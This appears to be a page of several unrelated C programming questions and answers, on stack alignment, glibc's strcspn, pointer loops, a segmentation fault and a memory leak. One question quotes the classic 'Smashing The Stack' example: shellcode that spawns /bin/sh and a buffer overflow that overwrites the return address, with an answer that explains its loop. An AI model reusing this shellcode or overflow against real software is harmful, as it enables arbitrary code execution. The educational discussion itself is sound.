I have a few questions about memory alignment in C language and how memory is allocated after forcing a variable to be aligned to a certain number of bytes using the _Alignas specifier.
This code shows in output the memory addresses of each declared variable:
#include <stdio.h>
int main(void)
{
unsigned char dx = 1;
unsigned char ca = 1;
unsigned char cx = 1;
unsigned char dz = 1;
unsigned char cb = 1;
unsigned char _Alignas(double) cz = 1;
char * p_begin = (char *) &cz;
char * p_end = (char * ) &dx + sizeof(dx);
printf("Addresses Value\n");
for (char * p = p_begin; p < p_end; p++)
{
printf("%9p %6X", p, 0xff & *p);
if (p == (char *) & dx) printf(" <- dx\n");
else if (p == (char *) & ca) printf(" <- ca\n");
else if (p == (char *) & cx) printf(" <- cx\n");
else if (p == (char *) & dz) printf(" <- dz\n");
else if (p == (char *) & cb) printf(" <- cb\n");
else if (p == (char *) & cz) printf(" <- cz\n");
else printf("\n");
}
return 0;
}
On my computer the output is as follows:
Addresses Value
28ff08 1 <- cz
28ff09 FF
28ff0a 28
28ff0b 0
28ff0c CE
28ff0d 2A
28ff0e 40
28ff0f 1 <- cb
28ff10 1 <- dz
28ff11 1 <- cx
28ff12 1 <- ca
28ff13 1 <- dx
Process returned 0 (0x0) execution time : 0.016 s
Press any key to continue.
The only behavior I would have expected to see after forcing the cz variable alignment on 8 bytes is thatcz was allocated to an address whose value is multiple of 8, I would not have expected to see follow cz from the padding. How come this behavior?
Also I expected that the number of bytes corresponding to the padding combined with the data size of 1 byte would result in 8, instead the padding occupies 6 bytes for which reason?
Stacks commonly grow downward. There is no essential reason for this; it is largely simply the result of historical development. A region of memory is allocated for the stack, the stack pointer is set to point to the high end of it, and the main routine of the program is started. As the program needs more stack space, it decreases the stack pointer.
What appears to be happening in your example is that the compiler is assigning space for objects in the order it encounters them. dx is seen first, so it is assigned the next available space on the stack, 0x28ff13. Then ca is seen, and it is assigned 0x28ff12. We see that, as the stack grows, it proceeds from higher addresses (where it started) to lower addresses.
When the compiler gets to cz, for which you have requested eight-byte alignment, the compiler jumps to the next multiple of eight (still in the downward direction), which is 0x28ff08.
Certainly the compiler could have looked at the whole situation (instead of looking at each object one at a time) and put cz at 0x28ff10 and put the other objects around it, using less stack space. If you compile with optimization enabled, the compiler might do that. On the other hand, the compiler might have a requirement on your platform to keep the stack pointer aligned to eight bytes (or more), so rearranging these particular objects would not have saved any stack space anyway.
There are no rules in the C standard about this. The compiler is free to arrange its stack as it chooses.
Related
GNU libc has this implementation of strcspn(), which, quote,
Returns the length of the maximum initial segment of S
which contains no characters from REJECT.
It's clever in its implementation in that it creates a 256-entry lookup table to make the operation of finding whether a character is in the reject set a simple O(1) array lookup, as opposed to e.g. the OpenBSD implementation which uses nested loops.
However, I'm curious how the c0/c1/c2/c3 loop below can access memory past the apparent end of str without a page fault or similar.
Does the C standard, for instance, guarantee that all strings, whether on the stack or heap or statically allocated, have their allocations aligned up to 4 bytes, so it's safe to access up to 3 past the last NUL?
I've added some comments in the code below; the original (as linked above) has none whatsoever.
/* Align a pointer by rounding down to closest size. */
#define PTR_ALIGN_DOWN(base, size) ...
size_t strcspn (const char *str, const char *reject)
{
if ((reject[0] == '\0') || (reject[1] == '\0'))
return __strchrnul (str, reject [0]) - str;
// Build a lookup table containing all characters from `reject`;
// due to the way the `do/while` loop below is constructed, `table`
// will end up having `table[0] = 1` always, which works as an
// exit condition.
unsigned char p[256] = {0};
unsigned char *s = (unsigned char*) reject;
unsigned char tmp;
do
p[tmp = *s++] = 1;
while (tmp);
// Check the first 4 bytes "by hand".
s = (unsigned char*) str;
if (p[s[0]]) return 0;
if (p[s[1]]) return 1;
if (p[s[2]]) return 2;
if (p[s[3]]) return 3;
// Align the pointer (for whichever reason?)
s = (unsigned char *) PTR_ALIGN_DOWN (s, 4);
unsigned int c0, c1, c2, c3;
do
{
s += 4; // Loop over 4 characters at a time (the first 4 bytes were checked before)
c0 = p[s[0]];
c1 = p[s[1]];
c2 = p[s[2]];
c3 = p[s[3]];
}
// break if any of c0, c1, c2, or c3 is nonzero,
// i.e. if we've either found one of the characters in `reject`, or a zero
while ((c0 | c1 | c2 | c3) == 0);
size_t count = s - (unsigned char *) str;
// figure out the actual offset based on which of c0..3 is set
return (c0 | c1) != 0 ? count - c0 + 1 : count - c2 + 3;
}
That loop is preceded by the line:
s = (unsigned char *) PTR_ALIGN_DOWN (s, 4);
Which ensures that s is aligned to 4 bytes. The loop then reads 4 bytes at a time. This guarantees that even if it reads past the end of the string, the extra bytes read will still be within the same 4-byte word.
If you go strictly by the C standard, this results in undefined behavior. But glibc assumes that on the platforms it runs on, the page size is a multiple of 4 bytes, and that reading past the end of a buffer will not cause any issues as long as it's within the same page.
I am reading "Smashing The Stack For Fun And Profit" by Aleph one, and reached this spot:
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
Now, I understand all the theory behind the exploit:
the shellcode[] is in the data segment (which is writable), and contains the code to spawn a shell.
We would like to copy its content to main's buffer, in addition to overwrite main's return address to the beginning of the buffer (so that the execution control will be of our "spawning a shell" code. We do it by coping the shellcode to the large_string[] buffer (second for-loop), and the rest(???) of large_sting[] will contain the buffer's address (first for-loop).
Of course, main's return address will be overwritten by this buffer's address, since we copy large_string[] to buffer[] (strcpy).
My problem is with the little details of the exploit:
1.)
Why does the first for-loop is from i=0 to i=31? I mean, considering the pointer arithmetic, how does it work? [large_string[] is only 128 bytes]
2.)
What is srlen(shellcode)?
I would some clearing on that kind of stuff.
Thanks!
1) Why does the first for-loop is from i=0 to i=31? I mean, considering the pointer arithmetic, how does it work? [large_string[] is only 128 bytes]
It copies four bytes at a time (it relies on knowing that sizeof(int) is 4 on the target platform), and 32 * 4 == 128.
2) What is srlen(shellcode)?
It's the number of bytes in shellcode (this relies on the fact that shellcode does not contain embedded \0 characters).
I am a newbie and am trying to understand the concept of pointers to an array using the example below. Can anyone tell me what the exit condition for the loop should be?
The while loop seems to be running forever but the program terminates with no output.
Thank you.
typedef struct abc{
int a;
char b;
} ABC;
ABC *ptr, arr[10];
int main()
{
ptr = &arr[0];
int i;
for(i = 0; i < 10; i++){
arr[i].a = i;
}
while(ptr!=NULL){
printf("%d \n", ptr->a);
ptr++; //Can I use ptr = ptr + n to skip n elements for some n?
}
}
while(ptr!=NULL){
This will run until ptr becomes NULL. Since it points to the first element of the array, and it's always incremented, and we don't know any other implementation detail, it may or may not become NULL. That's not how you check for walking past the end of the array. You would need
while (ptr < arr + 10)
instead.
Can I use ptr = ptr + n to skip n elements for some n?
Of course. And while we are at it: why not ptr += n?
The loop isn't infinite, it stops when ptr == 0.
Assuming you have a 32bit computer, ptr is 32 bits wide.
SO it can hold numbers from 0 to 4294967296-1 (0 to 2 ^ 32 -1).
Each time through the loop it adds 8 to ptr.
Eventually ptr will get to be 4294967296-8.
Adding 8 to that results in 4294967296 - but that is an overflow so the actual result is 0.
Note: This only works if PTR happens to start at a multiple of 8.
Offset it by 4 and this would be an infinite loop.
CHange the printf from "%d" to "%x" - printing the numbers in hex will make it more clear I think.
When I run debugging it points to the line: 105 (and writes "segmentation fault" in the left corner). I don't know what does red line in "Call stack" window mean...
Please, tell waht it is and where can I read more about it.
Here is the function's code:
/* Separates stereo file's samples to L and R channels. */
struct LandR sepChannels_8( unsigned char *smp, unsigned long N, unsigned char *L, unsigned char *R, struct LandR LRChannels )
{
int i;
if ( N % 2 == 0 ) // Each channel's (L,R) number of samles is 1/2 of all samples.
{
L = malloc(N / 2);
R = malloc(N / 2);
}
else
if ( N % 2 == 1 )
{
L = malloc(N + 1 / 2);
R = malloc(N + 1 / 2);
}
int m = 0;
for ( i = 0; i < N; i++ ) // separating
{
L[m] = smp[2 * i + 0]; // THIS IS THE "LINE: 105"
R[m] = smp[2 * i + 1];
m++;
}
return LRChannels;
}
And here is sreenshot of the windows (easier to show it instead of trying to describe)
The line in red is your call stack: Basically, it's telling you that the problem occurred inside the the sepChannels_8() function, which was called from main(). You have, in fact, several bugs in your sepChannels_8() function.
Here is my analysis:
struct LandR sepChannels_8(unsigned char *smp, unsigned long N, unsigned char *L, unsigned char *R, struct LandR LRChannels)
sepChannels_8 is a function that takes five arguments of varying types and returns a value of type struct LandR. However, it's not clear what the five arguments passed to the function are. unsigned char *smp appears to be a pointer to your audio samples, with unsigned long N being the total number of samples. But unsigned char *L, unsigned char *R, and struct LandR LRChannels, it's not at all clear what the point is. You don't use them. unsigned char *L and unsigned char *R, your function promptly discards any passed-in pointers, replacing them with memory allocated using malloc(), which is then thrown away without being free()d, and the only thing you do with struct LandR LRChannels is simply return it unchanged.
{
int i;
if ( N % 2 == 0 ) // Each channel's (L,R) number of samles is 1/2 of all samples.
{
L = malloc(N / 2);
R = malloc(N / 2);
}
else
if ( N % 2 == 1 )
{
L = malloc(N + 1 / 2);
R = malloc(N + 1 / 2);
}
Now this is interesting: If the passed-in unsigned long, N, is an even number, you use malloc() to allocate two blocks of storage, each N / 2 in size, and assign them to L and R. If N is not even, you then double-check to see if it's an odd number, and if it is, you use malloc() to allocate two blocks of storage, each N in size, and assign them to L and R. I think you may have intended to allocate two blocks of storage that were each (N + 1) / 2 in size, but multiplication and division happen before addition and subtraction, so that's not what you get. You also fail to account for what happens if N is neither even nor odd. That's OK, because after all, that's an impossible condition... so why are you testing for the possibility?
int m = 0;
for ( i = 0; i < N; i++ ) // separating
{
L[m] = smp[2 * i + 0]; // THIS IS THE "LINE: 105"
R[m] = smp[2 * i + 1];
m++;
}
Mostly pretty standard: you've got a loop, with a counter, and arrays to traverse. However, your terminating condition is wrong. You're walking down your smp data two steps at a time, and you're doing it by multiplying your array index, so your index counter needs to run from 0 to N / 2, not from 0 to N. (Also, you need to account for that last item, if N was odd...). Further, you're using m and i for the same thing at the same time. One of them is unnecessary, and redundant, and not needed, and extra.
return LRChannels;
}
And, return the LRChannels struct that was passed in to the function, unmodified. At the same time, you're discarding the L and R variables, which contain pointers to malloc()-allocated storage, now lost.
What were L and R supposed to be? It almost looks as though they're supposed to be unsigned char **, so you could give your allocated storage back to the caller by storing the pointers through them... or perhaps struct LandR has two elements that are pointers, and you were intending to save L and R in the struct before returning it? for L and R, and LRChannels, I don't see why you're passing them to the function at all. You might as well make them all automatic variables inside the function just as int i and int m are.
You have malloced N/2 elements in the array but in the loop, your counter goes from 0 to N. And that will imply that you are trying to access elements from 0 to N because you increment m on every iteration. Obviously, you will get a seg fault.
What is the value of 'smp'?
It either needs to have been allocated prior to the call to sepChannels_8(), or point to a valid placeholder.
I have a function to convert integer to string .The function is
char * Int_String(int Number)
{
char* result;
NAT size = 1;
if (Number > 9) {
size = (NAT)log10((double) Number) + 1;
} else if (Number < 0) {
size = (NAT)log10((double) abs(Number)) + 2; /* including '-' */
}
size++; /* for '\0' */
result = (char *) memory_Malloc(sizeof(char) * size);
sprintf(result, "%d", Number);
return result;
}
NAT is typedef unsigned int
Number is int
I am using this function in the following manner
char *s2;
char **Connections;
Connections = memory_Malloc(nc*sizeof(char*));
char con[]="c_";
k1=1;
for (i=0; i<nc ; i++){
s2 = Int_ToString(k1);
Connections[i]= string_Conc(con,s2);
string_StringFree(s2);
k1= k1+1;
}
And the functionschar* string_Conc(const char *s1, const char *S2) is
{
char* dst;
dst = memory_Malloc(strlen(s1) + strlen(s2) + 1);
strcpy(dst, s1);
return strcat(dst,s2);
}
I am using following methods to free its memory:
for(i=0; i<nc; i++){
memory_Free(Connections[i],sizeof(char));
}
memory_Free(Connections,nc*sizeof(char*));
The problem that i am getting is: i can free all the allocated memory when nc<=9.But when it is >=10 leakes memory in the multiple of 4 bytes with each increase in number. How can I remove the problem.Any help will be appreciated.
EDIT
void memory_Free(POINTER Freepointer, unsigned int Size)
Thanks,
thetna
You don't show the implementation of memory_Free (neither memory_Malloc), so we don't know why you need to pass the supposed size of the memory block to be freed as a 2nd parameter (the standard free() doesn't need this). However, here
memory_Free(Connections[i],sizeof(char));
it is certainly wrong: sizeof(char) is 1 on most platforms, but the size of the allocated block is at least 4 bytes for each string in the array (as the strings contain "c_" plus at least one digit plus the terminating '\0').
Update
Looking through the source code you linked, this indeed seems to be the cause of your problem! The code inside memory_Free seems to align memory block sizes - I can assume that to 4-byte boundaries, which is very common. In this case, if the passed Size is 1, it happens to be corrected to 4 - exactly the right value in case of single digit numbers as shown above! However, numbers greater than 9 are converted to (at least) two digits, thus the size of the converted string is already 5. A block of 5 bytes is most probably allocated as an aligned block of 8 bytes under the hood - but since memory_Free is always called with a Size of 1, it always frees only 4 bytes. This leaves 4 bytes leaking per each number above 9, precisely as you described in your comment above!
To fix this, you need to modify the line above to
memory_Free(Connections[i], strlen(Connections[i]) + 1);